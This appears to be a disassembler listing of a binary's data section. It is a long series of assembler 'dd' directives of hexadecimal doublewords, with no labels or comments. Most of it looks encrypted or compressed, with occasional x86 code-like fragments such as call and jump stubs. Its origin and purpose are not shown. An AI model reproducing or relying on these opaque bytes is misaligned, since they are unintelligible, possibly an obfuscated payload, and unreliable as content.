		dd 0D234A34Ah, 0AF6928DCh, 0FA216CCBh, 0F42DE42Dh, 727DE0Bh
		dd 0A82D8D2Ah, 17D2C344h, 2F9027D2h, 0EC02D7DEh, 0D037A342h
		dd 0FD219803h, 0A491A2BEh, 0FAh, 51F31EC1h, 1FC54AA6h
		dd 4BF112B8h, 1EC63FACh, 50F413B7h, 0DC00BFF2h,	0F0CEF92Bh
		dd 0DFFEE91Bh, 0EAD3F22Ah, 26D30123h, 975B84F5h, 0AC4C0123h
		dd 4B8831CEh, 0B0696CA3h, 7CA57479h, 96859EDFh,	0C86E1B29h
		dd 0C556C129h, 299685B4h, 84BD7431h, 35B84F7Bh,	7D68D264h
		dd 9977AD60h, 5478638Ch, 0B2777EB3h, 2B0A225Ah,	29923925h
		dd 40A69492h, 9655F930h, 3830D439h, 8ECD74AEh, 2F957A80h
		dd 0A92BD6D3h, 0F2DAD6C1h, 0DD67821h, 7A2BC52Ah, 0C067350Bh
		dd 0E344F831h, 0B5FCF2DCh, 0F92E5493h, 9E4DE128h, 0AA15CC41h
		dd 17D2C340h, 1265EEF7h, 23B5BCEh, 0EAD3D905h, 0F53CC7F1h
		dd 0C647A84Fh, 203E8CFh, 0D2000F8Bh, 0A48FB81Ch, 8481FC17h
		dd 1FE0BD2h, 23A3A9ABh,	12FBE413h, 5BF1E5E7h, 7D12552Ah
		dd 22E697C4h, 0A6630BD2h, 9E3FA690h, 3777E6Fh, 0C9000000h
		dd 658C390Fh, 0A13E29ACh, 5F7E696Ch, 9A4423AAh,	4F7B7C71h
		dd 8A3235B8h, 4A6F787Dh, 8B2D3ABBh, 4E727578h, 681BCCC1h
		dd 4E34h, 51243489h, 0C181E189h, 4, 4E981h, 0C870000h
		dd 0C895C24h, 451F6824h, 14890000h, 0E1685324h,	5B0F306Bh
		dd 5DEB8143h, 57363E08h, 5376D5BFh, 5FFB213Ch, 0B77AC381h
		dd 0D989EDACh, 148B545Bh, 4C48324h, 4EC81h, 1C890000h
		dd 8BB24h, 0D3010000h, 0FF5B0B89h, 815A2434h, 4C4h, 2434FF00h
		dd 4C48159h, 0E9000000h, 0FFFA52AAh, 4AD622B3h,	0B80C789Ch
		dd 5FF2BEAh, 0E0FFC503h, 7F3F8435h, 45D676CEh, 0B76E506h
		dd 5166951Eh, 2F4EFE2Dh, 60CC3191h, 4D3789C5h, 5BD27D15h
		dd 37C0F5ADh, 4B47E8C8h, 586C25B4h, 2879C49h, 3585DEAAh
		dd 5E1917E0h, 603AAB72h, 23193976h, 29875C87h, 24F41A74h
		dd 142DC3D6h, 0CE21FE4h, 6F81FD98h, 76199293h, 273EA9BBh
		dd 0BF0FC08Bh, 0C9BD83D3h, 5F931h, 0BD830975h, 5F912B5h
		dd 50197400h, 0B8C08B53h, 3FCh,	28E98589h, 9D8D05F9h, 5FBF384h
		dd 585BD3FFh, 12B5BD83h, 740005F9h, 0B8535017h,	3FCh, 28E98589h
		dd 9D8D05F9h, 5FBF073h,	585BD3FFh, 14E8h, 57F6B400h, 0E5A860A9h
		dd 7E04E382h, 0EBE97E6h, 5DD68F33h, 6A5AECh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0B2DFB6C3h
		dd 1F702072h, 11E886h, 0E25E0000h, 0D9299189h, 0C59E90CDh
		dd 0BC1602ECh, 0FF3FB98h, 28Ah,	5AD78B00h, 0C08B04B2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 93C35545h
		dd 0EA084D78h, 6208B590h, 9E9F4h, 0A8AC0000h, 907A57F1h
		dd 8127E025h, 8101C5C2h, 85BD837Dh, 105F917h, 0AB840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 1E94EBC3h, 0F43CD313h, 49BD8384h,	5F90Bh
		dd 7B850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B5747C3h, 0BD835ADFh, 5F929B9h
		dd 8B840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5E28C351h, 9E8C9F6h
		dd 57000000h, 117D3997h, 90BCCE8Bh, 4EBB6660h, 321ABB7Ah
		dd 5A612764h, 0FE8h, 8BAC1500h,	5E453A5Bh, 0F4E17DC9h
		dd 5F12DCABh, 45BE95Ah,	81660000h, 0EAA9C2h, 0F000000h
		dd 38Ch, 0D38B6600h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 74C35040h, 7CE849B2h,	0DEE4BB82h, 0BAB1397Dh
		dd 0AE1E843h, 0FC84A135h, 6E564C33h, 86FB42D8h,	1E09C2A9h
		dd 0D1F0C755h, 879BA1B5h, 0A173CDB6h, 0ADB1AC79h, 0DEA90E9Ch
		dd 0F87CFBDh, 0DC1A755h, 0B0EE6E09h, 5491A774h,	58A8380Eh
		dd 0E667DCE7h, 0F1EC204h, 0E759C73Fh, 0F87C756h, 51009975h
		dd 0BC5B3DCh, 0BD483D4h, 0F78C74Ch, 0AFFF9113h,	3A64AD06h
		dd 5AD04CCDh, 0F87C7BDh, 0E2429A55h, 0A1EE849h,	0E7A7C73Fh
		dd 0F78C756h, 50FF9875h, 0B3ABBDCh, 0B2B83D4h, 0F87C74Dh
		dd 15009012h, 86D917D3h, 5CF0ADA0h, 0F78C4BDh, 0CC67E755h
		dd 2B424E0Eh, 2B4B4651h, 0F87DA51h, 0CC908455h,	0EB3910D4h
		dd 1188297Fh, 8B77F3BAh, 0F3CC757h, 1DF760E2h, 650FC755h
		dd 0CB182051h, 0E7ADFF1Ah, 8FBEB57Eh, 0B4ABADEFh, 65B84C9Ah
		dd 0CD49255h, 2F1EC755h, 86520408h, 8E83E339h, 1BC7E311h
		dd 4AE1C755h, 0E7850400h, 0F78C746h, 0E5B463BAh, 0CF990545h
		dd 0BFC23E68h, 635B0AB8h, 6942B9ACh, 9FBB10DEh,	0E6A29735h
		dd 0F78C747h, 5A71D8A8h, 916C9F5Bh, 0CDA10A62h,	4AE9B8D0h
		dd 3ECCA09Fh, 3EEE9505h, 57AA9F0Fh, 0FFDC835h, 0E73CC755h
		dd 0F1EC75Bh, 0A8FD3DC5h, 0EA212211h, 8E349BA5h, 6EBA6044h
		dd 0E7609734h, 0F78C753h, 0D5956626h, 0C4A467C8h, 545E413Ah
		dd 2BCBC65Ah, 0A47C8ABh, 69E1C755h, 16734D4h, 0AF5C80Dh
		dd 5D3CC755h, 54C9705Ah, 0F0DCB50h, 5C87AD55h, 0FC3C4BDh
		dd 0CCBAE755h, 2BAC4E0Eh, 2B3C4651h, 0F3CDF51h,	0CC4D8455h
		dd 0C33195A8h, 0F8D2E0Ch, 0B002C755h, 624AB4B6h, 0B0A404E0h
		dd 0A8517D33h, 845ACFDEh, 0F162E84h, 110BC755h,	0F2E7096h
		dd 84A52400h, 0F8B3B1Dh, 0FF32F00h, 5258C755h, 63B59A96h
		dd 4B9FC371h, 0F14C371h, 5AC2C755h, 0A8952196h,	904CE5FDh
		dd 0FE12E5Fh, 0DAAAC755h, 0F44DA19Bh, 0BEEB14EFh, 97E60364h
		dd 69A39ACBh, 0E7B14DEh, 0E7E1C755h, 0FF0C746h,	5C35425Dh
		dd 0FE31B5B4h, 0AEBB6E57h, 0B68D2CFEh, 8EDE6BF6h, 8402E2A6h
		dd 69B19D55h, 37910DEh,	8E1EA771h, 0B4AFBD94h, 60F5F22Ah
		dd 0D683A134h, 0E7D0C73Fh, 0FC3C756h, 50229875h, 0BD4BBDCh
		dd 0B5C83D4h, 0F3CC740h, 0B7DD9012h, 0BCE3155h,	0F79425Ah
		dd 0FA9C755h, 0FE22F05h, 57D0C755h, 4BF19F96h, 4BBDC371h
		dd 0F07C371h, 5F4FC755h, 93267B96h, 0E657304Ch,	0FE1C753h
		dd 5BE97CA8h, 9906B18h,	7A3CC755h, 0D85072F3h, 6F569CAAh
		dd 0F8D97933h, 67FA4734h, 0E88425Ah, 0CA47C755h, 0B579BEDEh
		dd 71C9BB2Bh, 0F1E38D4h, 8D004755h, 0F87C606h, 0D9084633h
		dd 756400A5h, 0EF5387Bh, 6578C755h, 0CD49655h, 2F1EC755h
		dd 8656040Ch, 8E83E319h, 1BC7E311h, 4EE1C755h, 0C70404h
		dd 0F78C3D1h, 6E5C9155h, 0E052E0Eh, 0F65C755h, 0F842F06h
		dd 54E3C755h, 53689C96h, 4B71C371h, 0F65C371h, 5C7FC755h
		dd 3DDF8996h, 9D4C4D53h, 0E653C40Eh, 0FC3C7BAh,	0E7B0C73Fh
		dd 0FF0C756h, 56BB9E75h, 0B188BDCh, 0B3A83D4h, 0F0FC74Dh
		dd 1449614h, 8A4E60B4h,	6E3F4C35h, 0FF0D4BCh, 312E7855h
		dd 0F664DCBDh, 9B8F5D47h, 99984929h, 6C4C8A58h,	59C3AD0Ch
		dd 0FE1C4BDh, 0CCAEE755h, 2B0C4E0Bh, 2B784651h,	0F1ED151h
		dd 0CC598155h, 6920A29Bh, 0F0C8BED6h, 0F68435Ah, 0F9AC755h
		dd 0F7B2F06h, 541CC755h, 53979C96h, 4B8EC371h, 0F9FC371h
		dd 5C80C755h, 5EA25896h, 907EAFh, 0F78C2DAh, 297A7855h
		dd 0E67EF071h, 0F0FC75Fh, 1B1F8871h, 3E32DDCEh,	6E81E351h
		dd 8A37A634h, 0A87E92Fh, 0F3CC754h, 0E748C73Fh,	0F0FC756h
		dd 51449975h, 0BE7B3DCh, 0BC583D4h, 0FF0C749h, 7BBB9113h
		dd 7740593Ch, 0AEFDB239h, 0E6DE4C33h, 0F87C746h, 0C867BB5Fh
		dd 909D547Eh, 21ADBF56h, 163497B6h, 47C13452h, 0C2597EA0h
		dd 8A82C1C1h, 0A78F3C6h, 3D2F7AD8h, 0F7DAC2AAh,	0C0C021h
		dd 0E43F0E84h, 0F312EA0h, 6FF4C755h, 0B67A65B6h, 321502E9h
		dd 0F73840D6h, 18647AD6h, 0F1C2ACh, 0F78EBD1h, 0B45A9755h
		dd 8C45A9D9h, 0F6048EE8h, 8A88C750h, 0FC3C74Ch,	0B26217DEh
		dd 0A09EEECh, 54FCC855h, 6F3CC755h, 0D50629D4h,	0D884D1E1h
		dd 0E802E34h, 0FA9C755h, 0FE22F05h, 57D0C755h, 4BF19F96h
		dd 4BBDC371h, 0F06C371h, 5F4FC755h, 365EFA96h, 0DC42E1CAh
		dd 2CD7D760h, 0FF72F35h, 536EC755h, 1539D128h, 0F0E2E6Eh
		dd 4CEAC755h, 0AE070B02h, 12D4F5EDh, 9205561Fh,	84AE6E8Fh
		dd 0B2FBA696h, 0AC5D0D0h, 7F9BC854h, 650FC755h,	0C6F9155h
		dd 2FC3C755h, 86BF040Bh, 8EF4E321h, 167CE311h, 493CC755h
		dd 0B40F0403h, 42A97AA8h, 0F87CEBDh, 5447A355h,	668CD98h
		dd 0B8FF8D69h, 65259D8Bh, 0CD49655h, 2F1EC755h,	8656040Ch
		dd 8E83E319h, 13C7E311h, 4EE1C755h, 8AE70404h, 0EC5CEE27h
		dd 2A6713h, 0F89414EAh,	0E6D14C96h, 0F87C71Ch, 0C45C805h
		dd 8FE1C755h, 52AA6186h, 0E72EC73Fh, 0F3CC756h,	51DD9975h
		dd 0B2BB3DCh, 0BA383D4h, 0FC3C748h, 0AB229113h,	0BA47A8DBh
		dd 0FA74A2F0h, 0DCB7A101h, 0F182F9Ah, 31D7C755h, 1D2257AFh
		dd 0FC1405Ah, 0DF6AC755h, 0A24D4A0Fh, 827D387Bh, 0F008A7D8h
		dd 53037F50h, 8A3CBC6Fh, 0A7ED97Ch, 597E087Eh, 82C1C1C2h
		dd 78F3C68Ah, 2F7AD80Ah, 0DAC2AA3Dh, 0C0C021F7h, 3F0E8400h
		dd 5E983E4h, 0BD83A4F3h, 5FF2E7Ah, 8D0D7400h, 0F94EE88Dh
		dd 1B805h, 0E1FF0000h, 56006A40h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0ECFC79DDh, 6A223DEBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 66A0C350h, 5FBBF381h, 6A2DE883h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 49C9C352h, 0C01C33D5h, 60C08B38h, 11E9D68Bh,	74000000h
		dd 8B982CF5h, 5FBDACE7h, 63E46FE5h, 0E62BCC50h,	0C9BD8361h
		dd 5F931h, 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h
		dd 3FCh, 15DD8589h, 9D8D05F9h, 5FBF3EBh, 585BD3FFh, 12B5BD83h
		dd 740005F9h, 0B8535017h, 3FCh,	15DD8589h, 9D8D05F9h, 5FBF08Ch
		dd 585BD3FFh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0DFC35343h, 0F5BE6C8Bh,	0F37DCBEh, 38Ch, 0D3BF0F00h
		dd 3800F60h, 0F000000h,	0BB66D0BFh, 8B61CC8Ah, 2C8D8DC0h
		dd 905FF36h, 0F92E19B5h, 75958905h, 8905F905h, 0F90CDD8Dh
		dd 8E905h, 15E00000h, 74E8B1DAh, 85C73131h, 5F926C1h, 6014h
		dd 0C7E3F080h, 0F900FD85h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 86BFFE91h
		dd 0B5FFFCE3h, 5F90751h, 0FE9h,	0FB4AFF00h, 8693F545h
		dd 0B586B97Fh, 470ACB2Eh, 20D595FFh, 0F5605F9h,	605BC6B7h
		dd 6A61F5h, 1AED95FFh, 0C08B05F9h, 34BC3EEBh, 5BF8EF52h
		dd 0A8B04251h, 4581E395h, 3572B953h, 0A465D20h,	0E545EB74h
		dd 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh, 25165DF0h
		dd 9831BD16h, 0F7B75156h, 3A0662F2h, 0E15F99C2h, 51E9h
		dd 55BC8900h, 2Fh, 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h
		dd 0B7FB75h, 0ADF99CBEh, 89937EE5h, 0F4C7009Dh,	6063921Dh
		dd 0DE19h, 8 dup(0)
		dd 30E90000h, 6800000Fh, 5FF380Fh, 0FA4839E9h, 39A268FFh
		dd 2FE905FFh, 68FFFA48h, 5FF3B48h, 0FA4825E9h, 3C5868FFh
		dd 1BE905FFh, 68FFFA48h, 5FF3D39h, 0FA4811E9h, 3E8A68FFh
		dd 7E905FFh, 68FFFA48h,	5FF3FC4h, 0FA47FDE9h, 428D68FFh
		dd 0F3E905FFh, 68FFFA47h, 5FF43FBh, 0FA47E9E9h,	888968FFh
		dd 0C24D7154h, 0F60DBB1Ah, 0C342A74Eh, 0F116B621h, 0FBB8F94Bh
		dd 0E10438CFh, 9EC10FBh, 0D2F527E2h, 0D6FC20EDh, 4E87F221h
		dd 5F042397h, 8D31CEA1h, 559C6D50h, 0F733A5C1h,	9685215Ch
		dd 28E19E29h, 62F148F1h, 29968517h, 447E794h, 2F95BC0Eh
		dd 8C4B7261h, 7425A861h, 74CD74BDh, 507A638Bh, 0A2777EB3h
		dd 8D805D8Ch, 0B6EAD54h, 8823974Fh, 16C17B9Bh, 986154B9h
		dd 5E4FBE1Fh, 69FF6B8Bh, 0BD30DFFFh, 3DF411BAh,	0E30E4DF4h
		dd 70299684h, 17E598C3h, 0A5621D98h, 0A04AB56Ch, 5966D363h
		dd 57609974h, 0B7819574h, 84876552h, 44C92611h,	658A698Dh
		dd 0A36554B8h, 0E0C776D4h, 97972A53h, 2FFAA71Dh, 0D704FBBEh
		dd 2677BD11h, 0D2171E9Bh, 6CB6203Ch, 57F4A6B5h,	722F2391h
		dd 0FFEAEFA1h, 0F161FA4h, 0D3Bh, 8DAF627Dh, 5389866Ah
		dd 87BD4674h, 528A7B60h, 1CC04773h, 20CC8B06h, 2C9235E7h
		dd 339A3DDFh, 26C72ED6h, 0EA8F35E7h, 974D5029h,	5818CD23h
		dd 6FAA638Ch, 0F4F30C9Dh, 95B31667h, 3E969329h,	6F7F9B23h
		dd 0C14C7176h, 1716FE1Bh, 271EA6DAh, 70E68294h,	0DE64EF2Ah
		dd 0D12F8F57h, 1F7760B7h, 0FCDD1FD5h, 0D009C009h, 8F0605E7h
		dd 0EAB34DAh, 0AC42CDF1h, 9D10DC99h, 7986BB23h,	0F28BC853h
		dd 6F239D10h, 0A37677B2h, 0A0667493h, 48D62CCCh, 3189h
		dd 69FF5B00h, 0E32EDDFFh, 980D1D3Eh, 5E282F8Fh,	0BAAE0D9Fh
		dd 20D9103Ah, 0DFD63597h, 58FBE40Ah, 239D3A21h,	0EDD90500h
		dd 48D61673h, 12834h, 638C0E00h, 0DB9D6FAAh, 0EF5E347h
		dd 0B22AFA6h, 0D5F502EBh, 13BCBB32h, 0CBF4F3FAh, 2E92A225h
		dd 96528CEDh, 0B81C0929h, 3F86E1EBh, 42429E91h,	71A861A8h
		dd 2BA26786h, 0D35ED87Eh, 299605A3h, 9547C627h,	9B638D32h
		dd 0BD4C6F16h, 2D8B6138h, 0AB22E794h, 0C871A93Fh, 8EBDD78Bh
		dd 649D8A2Fh, 0D07B5170h, 49EDB691h, 83ED7BEFh,	0E697C45Bh
		dd 63239BD6h, 0AF6A6BA6h, 0D6B0C98Ah, 702D239Bh, 2AD380B9h
		dd 0E22997CAh, 4831E217h, 0C51D9FE3h, 0E3423BD8h, 0C2BF1D9Fh
		dd 2CE7C42Ch, 1D9FE351h, 0E118D1CEh, 0FD11F6D6h, 0C723C730h
		dd 0B915192Dh, 54077E56h, 0E133EE23h, 5509E33Ah, 0C17B9BB9h
		dd 8251B616h, 0BEFEB6C4h, 0A8462F40h, 0EA00000Bh, 0F3D20A07h
		dd 35A044CBh, 29CC7093h, 389F45C0h, 73D17394h, 0AE59813Eh
		dd 9E6D4F76h, 0AD5C7F66h, 9E6F5077h, 0A0BB7C66h, 23974CDDh
		dd 0CE53F55Ah, 0DABD7B46h, 0E8CF53A3h, 0DA8F0607h, 0F215B534h
		dd 0EBD2ED4Ah, 0D4F9F81Eh, 0D5F70039h, 2D0F8E19h, 5FAABA1Eh
		dd 0A19BBB6Eh, 0FF69FF7Fh, 3ADF2AD9h, 852954FFh, 3E9F2996h
		dd 9B0BDECFh, 3FCAF1EEh, 82B782AFh, 9685A8D1h, 0C1782529h
		dd 9685E792h, 97B76429h, 8F987AB4h, 0E5E8952Fh,	0FC13BB44h
		dd 7382F75Ah, 0DA00239Dh, 735F1A39h, 1FDC239Dh,	0DC04E3EAh
		dd 73651843h, 25E2239Dh, 8374E9ECh, 96718757h, 4FE27E48h
		dd 43A348D6h, 7E000001h, 758E3CC3h, 0EF8AA980h,	6C239D67h
		dd 0CE999FAFh, 6C828D31h, 5C90607Dh, 21EF85E9h,	0DA2F8E09h
		dd 16CB06D3h, 32C43FA9h, 90EAEB9h, 95F22F4Ah, 0C144A529h
		dd 3BD0EEDDh, 0F9063BF6h, 0CB143AD5h, 2306A62Eh, 6FDFE8Fh
		dd 0E2155DF0h, 34992995h, 0D0C544A7h, 0D029D019h, 95DA3A43h
		dd 0CDCAB729h, 3FF91DF0h, 8FBDDDAh, 37E607E6h, 95DA611Ch
		dd 0B621DE29h, 43DF419h, 0B21ACEFBh, 713D1B0Eh,	3DC72B7h
		dd 20D90197h, 0D5D6F3D9h, 0C20B0631h, 961B4831h, 0DFD8C529h
		dd 4CE90DFCh, 8F44530Fh, 0E019062Fh, 70B9C1ECh,	97B7A28Fh
		dd 0DF3BAD9Dh, 0D4F8FF3Ah, 0EB24CC33h, 2C1F2FEAh, 299882C0h
		dd 0C277A25Fh, 0DC729535h, 0A25AAD0Dh, 0B8557A85h, 7F8C3235h
		dd 0A545A44Ah, 8EC39162h, 1A1BBEFDh, 0A020Bh, 749D4400h
		dd 46C925D0h, 7291379Eh, 47BE2BCAh, 7D8A3295h, 87346DC7h
		dd 5580A463h, 85709477h, 5681A366h, 82709479h, 4AD3A6B5h
		dd 9B502397h, 0A7608CDDh, 0A3668572h, 5DD77732h, 6786557Ah
		dd 0B37E2BA2h, 8E4B718Eh, 9E0FDA2Fh, 1FE8D4CBh,	0E15BFBAEh
		dd 3809D438h, 3C255238h, 46CE241Ah, 9683A5DAh, 29C86E6Dh
		dd 634449C4h, 0C871937Ah, 0A4698671h, 963DE697h, 90A66329h
		dd 963DB8BDh, 64947829h, 5E945D1Eh, 0B82E3ADCh,	0B782B762h
		dd 963FE19Ch, 92A15E29h, 29963FE7h, 9B6C6272h, 0EF03904h
		dd 0C247A611h, 0BD3AFF2Ch, 0F510B91Eh, 0F7E02900h, 0EABF36D5h
		dd 70030144h, 0BD6A2F95h, 7157BD84h, 2D1ECE35h,	0BB527B64h
		dd 20CF5F3Ah, 2F964EBFh, 8E0A628Eh, 0D74B0D13h,	6B88F122h
		dd 18052397h, 2B8F28D1h, 0EE00D9DCh, 0B7F365F5h, 976BE19Ch
		dd 36A15E23h, 0AD7C7196h, 209EBD64h, 13299090h,	542DC516h
		dd 0D8D9BEF0h, 8F2CDh, 848D3400h, 0B6597560h, 8281678Eh
		dd 0B74E7B5Ah, 8D7A6285h, 1744BD57h, 45B054B3h,	15C064A7h
		dd 46B153B6h, 12C064A9h, 49C3B665h, 8B402397h, 0A46CEEDh
		dd 987753B2h, 45AA49EDh, 1ED33896h, 0EC27D297h,	29966891h
		dd 0E5BF40Eh, 70654AA6h, 795695B9h, 0A4832194h,	0C219B6B6h
		dd 0F7CFD11Bh, 0C8CF1E9Ch, 0E811C801h, 0DF770211h, 7F42995h
		dd 95DF91ECh, 0F2210E29h, 2995DF87h, 3CD21704h,	0FB73EDF2h
		dd 7344D2Fh, 0E000000h,	1EC8Ah,	91E8B600h, 82299685h, 813CE14h
		dd 2F95BBF5h, 738CB572h, 0F821C34Ah, 0FE3FCB41h, 76BB2038h
		dd 96DA94E5h, 2141123h,	0FB26CAF3h, 8A8E9A79h, 0B84F7B64h
		dd 78EE7C71h, 0B542F722h, 0EF62F417h, 29906ED3h, 6EFAD9C6h
		dd 0AEBEF035h, 811A085h, 6C530000h, 78587FA5h, 58826597h
		dd 6D4E79ABh, 59816498h, 659C76AEh, 0CB719636h,	9349C22Ch
		dd 5C808934h, 83B95479h, 27B9861h, 7F239749h, 46CE26CAh
		dd 1F97FDBEh, 52A1B560h, 4A2DA06Dh, 0A2DB78A5h,	2D29960Fh
		dd 309A6C11h, 5744BA2Ah, 0B11C1B92h, 6B525558h,	0B186179Eh
		dd 9C6BF9A5h, 6F815E4Eh, 0BDA43D8Bh, 930F98Dh, 0B93CD1EEh
		dd 6E1A63F0h, 0EA972996h, 0DC250F1Fh, 4D2F4A00h, 0C03EBD4h
		dd 193EEAh, 0B010000h, 0E802BBF5h, 36FC121Dh, 393B46CEh
		dd 946C5E1Ah, 0FB7182h,	0CECF0000h, 797C8731h, 44D28EA0h
		dd 0DA38E31Eh, 682F95BBh, 6F9DB264h, 0A0A581Dh,	0D66CE311h
		dd 0F5FD11D8h, 9E6D108h, 0A41BE8D2h, 0EDBD23Bh,	3BA11EC3h
		dd 0EA0CDDD0h, 0A512E750h, 4538C346h, 0C22396C6h, 13F0DAC5h
		dd 52CBF403h, 0ED0D207Ah, 0BA59DFEFh, 2396EFBFh, 91759835h
		dd 91585D94h, 0B244C926h, 3FFA20B6h, 0EF2059FAh, 0E09D2396h
		dd 9F18E14Eh, 0C3FCF3Eh, 299625E9h, 67508976h, 72558786h
		dd 2CCDC04Dh, 53E32A93h, 263C8117h, 0E3276377h,	0A72DD41Dh
		dd 0DB01F496h, 84B145E2h, 90CBC7D7h, 0B6050223h, 0A4F067C8h
		dd 0C0D2D3DCh, 2000006h, 0EB0A32DFh, 0EDD80C03h, 0E10438CBh
		dd 0F0D70DF8h, 2B093BCCh, 0E621C9F6h, 0D635973Eh, 0E524C72Eh
		dd 0D637983Fh, 68F3C42Eh, 23974715h, 8A1BDD92h,	20Eh, 73A448AFh
		dd 968595E8h, 0DC151229h, 1CF1CED9h, 0E509C099h, 8831CE4Fh
		dd 8DA1787Dh, 0F02B47D1h, 2996858Dh, 0F2E7000Ah, 9C8B122h
		dd 43D009C0h, 2F94EECFh, 737D625Dh, 5B49AFBEh, 0D9DC15F2h
		dd 0FC06EE00h, 0A87E1393h, 92478252h, 0F8819267h, 75239672h
		dd 66876688h, 638572A7h, 0DA7C2DA0h, 0D182B760h, 239672A8h
		dd 17D67825h, 15A257B6h, 876253B6h, 44BB7E67h, 83DF6F98h
		dd 766CB015h, 0AB18C335h, 0C702C73Eh, 0C043A512h, 138012Eh
		dd 96092752h, 57F7A423h, 954001F4h, 0E370C929h,	1D96D29Ah
		dd 72933817h, 0D363AE7Bh, 7EC37E2Bh, 29AC5781h,	0AE0FDE70h
		dd 9E3DBA5Fh, 8671CB6Bh, 8831A469h, 65AA46B1h, 0DF9AB970h
		dd 5C1D96D2h, 45D38F9Fh, 0FE1DE41Dh, 1D96D27Bh,	4D40CBF1h
		dd 0D97D2A9Ch, 0BF5CA55Ch, 1D96D2BEh, 5AB31C3Bh, 0D2CC7F8Fh
		dd 0D238FFBh, 0B749C310h, 4031A4F0h, 58635h, 0E829C800h
		dd 0E22D9134h, 0D62D9B3Ah, 0E322C72Eh, 0D1369641h, 0DB98192Bh
		dd 1E418EFh, 0E90C30DBh, 0F2D50702h, 369C40CDh,	46A7D281h
		dd 0BF242397h, 8A31CE01h, 85F9848Fh, 89762996h,	9E3FAE40h
		dd 912DCA6Fh, 3A86967Eh, 0DBDBF12Fh, 507B23Bh, 0DC5CA27Fh
		dd 6D7C92DDh, 9C38BD50h, 0FED904FBh, 0F4A528DDh, 0FCEA193Dh
		dd 0E30CCFF0h, 0CED9A32Ah, 82F16DF4h, 0A2579257h, 62C1BC57h
		dd 413E2996h, 0E27E83ADh, 0A34D2F7Eh, 7Eh, 0E873CE85h
		dd 29968595h, 65011512h, 0C772A7F3h, 6F7F9030h,	8FD485DCh
		dd 369F752Fh, 33C291C0h, 0F1E0183Eh, 6E0F4CC7h,	0EB239D03h
		dd 2702F33Eh, 1AC037E2h, 0FED633E9h, 0FA4387CAh, 0D96C82F0h
		dd 239CE09Dh, 0C227B419h, 86655243h, 92571283h,	9084A557h
		dd 747DC864h, 0A4618A82h, 0E08A876Dh, 0BD1DA355h, 61705A99h
		dd 52078E79h, 0AE531697h, 9D3E0C6Dh, 7A9C8923h,	47E79h
		dd 31CEC700h, 0F782918Ch, 74299685h, 3DAC4287h,	8BB66B9Eh
		dd 9685ADD0h, 0CE8D2A29h, 299685ABh, 8BB67B28h,	9685ADD0h
		dd 0D97D2A29h, 714E6910h, 527B7A9Ch, 85ED90CBh,	0CD6A2996h
		dd 9685EB8Eh, 76BB6829h, 815E89BBh, 5760098Ch, 49209574h
		dd 64A946A5h, 0A71E88C0h, 0D7261379h, 1568F35Ch, 9229966Dh
		dd 6C955C95h, 8F9E93AFh, 6AA9862Fh, 239D3B0Fh, 3616979Ah
		dd 6757D93Bh, 0D57E6FBAh, 239CA9A0h, 9C3DBA7Fh,	0A1B56469h
		dd 52BA7462h, 30ED2850h, 11F61898h, 48D6B45Fh, 5A18h, 0EEDCE300h
		dd 25C9A015h, 3169FF0Fh, 40CFEF08h, 0BD7A9C4Dh,	8F988C9Eh
		dd 0F7D5E22Fh, 26C8A114h, 0D03F9FCEh, 46D50CDDh, 239D7333h
		dd 0B73EF3B0h, 9D736D0Ch, 95C14C23h, 406AF3D9h,	0F097E895h
		dd 1125E407h, 0D6A060FCh, 1FCB3448h, 2234E5E8h,	13D06h
		dd 2DED900h, 0CE53E90Dh, 0B85E9D46h, 0EA0CFA82h, 0AA2BE20Bh
		dd 16B81DBDh, 3AEF16C3h, 7DC4C0D2h, 8E43B3EDh, 8B846C53h
		dd 40B7826Bh, 4B554C9Ah, 2A96B414h, 1B3BEEDFh, 3E8F3DCh
		dd 13DE8B02h, 59C113EEh, 5ABD3236h, 6B2356E5h, 0E3A02996h
		dd 0E8CF9A53h, 0DA8F0607h, 0F518B534h, 6F72044Fh, 0D9F62996h
		dd 0CDF20D34h, 7A9C4D40h, 55B815C0h, 65CCA60h, 13FCE4DBh
		dd 2C695FC1h, 0E80E3CB8h, 6246104Bh, 14112F8Fh,	0BB047F0h
		dd 1026F3FAh, 8766C254h, 81924782h, 29992ADFh, 4F68918Eh
		dd 3F1A9B6Ah, 557582AFh, 4E7087B2h, 0B6300BA0h,	0BC75DC1Dh
		dd 9577A09Ah, 491DB39Eh, 608F9F97h, 0DE308B7Ch,	0BABEFD54h
		dd 2BDACB9h, 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h
		dd 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h
		dd 27DD308Dh, 1E5FFCBDh, 9B239743h, 73CE9236h, 968595E8h
		dd 29E00B29h, 1411F5A4h, 23C7F302h, 3634326Bh, 70A96092h
		dd 72EF8AC9h, 0AF6C2996h, 8D32959Fh, 0CFAA6990h, 4C299672h
		dd 72B9C44Fh, 49362996h, 0CE71363h, 0FC3520D9h,	31CEE648h
		dd 5B0E7F8Ah, 0AF39AFBBh, 0B36FB0Ah, 8F97DE50h,	12EFF92Fh
		dd 3C11D00h, 0C037E227h, 0A503E91Ah, 9C3C4231h,	7237B046h
		dd 8DA16485h, 9C9CBBBAh, 1AA59A23h, 47B658B5h, 0B4B12B1Bh
		dd 0BC8548D6h, 9C90DE9Fh, 88AE5B23h, 1259Ch, 73CE6600h
		dd 968595E8h, 1151229h,	9940CDF2h, 4449BE1Eh, 7F688195h
